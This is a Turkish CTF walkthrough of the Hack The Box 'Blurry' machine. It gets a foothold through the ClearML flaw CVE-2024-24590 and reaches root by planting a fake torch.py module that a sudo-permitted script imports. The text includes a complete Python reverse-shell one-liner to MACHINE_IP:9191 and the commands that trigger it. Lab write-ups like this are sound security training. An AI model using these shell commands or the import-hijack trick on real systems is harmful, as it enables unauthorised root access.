İlk olarak nmap taraması ile başlıyorum.
nmap -sVC -v 10.10.11.19
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: ClearML
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 2CBD65DC962D5BF762BCB815CBD5EFCC
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Görüldüğü üzere 22/SSH
ve 80/HTTP
portları açık. Adresi ziyaret ettiğimizde bizi şöyle bir ekran karşılıyor.
Bunun için /etc/hosts
dosyasına gidip hedef adresi IP adresine tanıtmamız gerekiyor.10.10.11.19 app.blurry.htb
Ardından sayfamıza geri döndüğümüzde bizi bir giriş ekranı karşılıyor. ClearML (Machine Learning), makine öğrenimi projeleri için tasarlanmış açık kaynaklı bir platformdur. Zafiyetin konusu ise bunun üzerine.
Full Name yerine rastgele bir şey yazınca başlayabiliyordum. test
olarak yazıp giriş yaptım ve dashboard ekranı bizi karşıladı.
Platformda daha önce yayınlanmış bir zafiyet olabilir düşüncesiyle internette biraz research yaptım ve CVE-2024–24590
ile karşılaştım. Bize lazım olan exploit’i, “2” numara ile gösterdiğim linkte buldum.
ClearML Kurulumu
Şimdi yapmamız gereken şey, Dashboard ekranından New Project oluşturmak. Burada, Credentials oluşturma adımlarını gösterdim. Son görseldeki işaretli alan, bir sonraki adımda gerekli olacak.
Şimdi sıra geldi makinemize ClearML kurmaya. Bunun için terminale aşağıda verdiğim kodu yazıp ClearML’i indiriyoruz. Kurulumdan sonra clearml-init
komutunu çalıştırıyoruz.
pip install clearml
Çıkan ekrana yukarıda oluşturduğumuz Credential’ı buraya kopyalıyoruz. Eğer bendeki gibi bir hata alırsanız, uyarıda da söylendiği gibi, api
ve files
subdomain’lerini /etc/hosts
‘a eklememiz gerekiyor. Ekledikten sonra hata almayacaksınız.
CVE-2024–24590 Exploit Kurulumu
Eveeet, şimdi exploite geçebiliriz. İlk olarak dinleyeceğimiz portu seçiyoruz ve nc
ile dinlemeye başlıyoruz: nc -nvlp 1234
. Diğer yandan exploit'imizi çalıştırıp 1–2 dakika bekliyoruz. Böylelikle ilk shell'imizi almış oluyoruz.
Privilege Escalation
sudo -l
komutu ile root yetkisinde neler çalıştırabileceğime bakıyorum ve bazı şeyler görüyorum. Burada evaluate_model
, models
pathi altındaki .pth
ile biten bütün dosyaları arar ve içinde kötü bir içerik varsa kaldırır, ardından çalıştırır.
Araştırmam sonucunda, evaluate_model.py
dosyasının PyTorch kütüphanesini dahil etmek için import torch
komutunu kullandığını gördüm. Eğer bu kütüphaneyi manipüle edebilirsem, root olarak erişebilirim diye düşündüm. Yani şöyle: /models
pathi altında torch.py
dosyası oluşturacağım ve bu dosyaya kendi scriptimi yazacağım. Ardından sudo /usr/bin/evaluate_model /models/demo_model.pth
komutunu çalıştırırsam, PyTorch kütüphanesini import ederken benim yazdığım scripti çalıştıracak ve root olarak shell almış olacağım. :D
Aşağıdaki komutu, IP ve PORT bilgilerini düzenleyerek yazıyoruz. Diğer yandan nc
ile portu dinlemeye alıyoruz.
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MACHINE_IP",9191));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /models/torch.py
Ve son vuruşu aşağıdaki komut ile gerçekleştirebiliriz…
sudo /usr/bin/evaluate_model /models/demo_model.pth
Bu makalemde sizlere Hack The Box üzerindeki Blurry makinesinin çözümünü elimden geldiğince aktarmaya çalıştım. Umarım faydalı olmuştur. Bir sonraki makalede görüşmek dileğiyle…
Burak
Offensive Security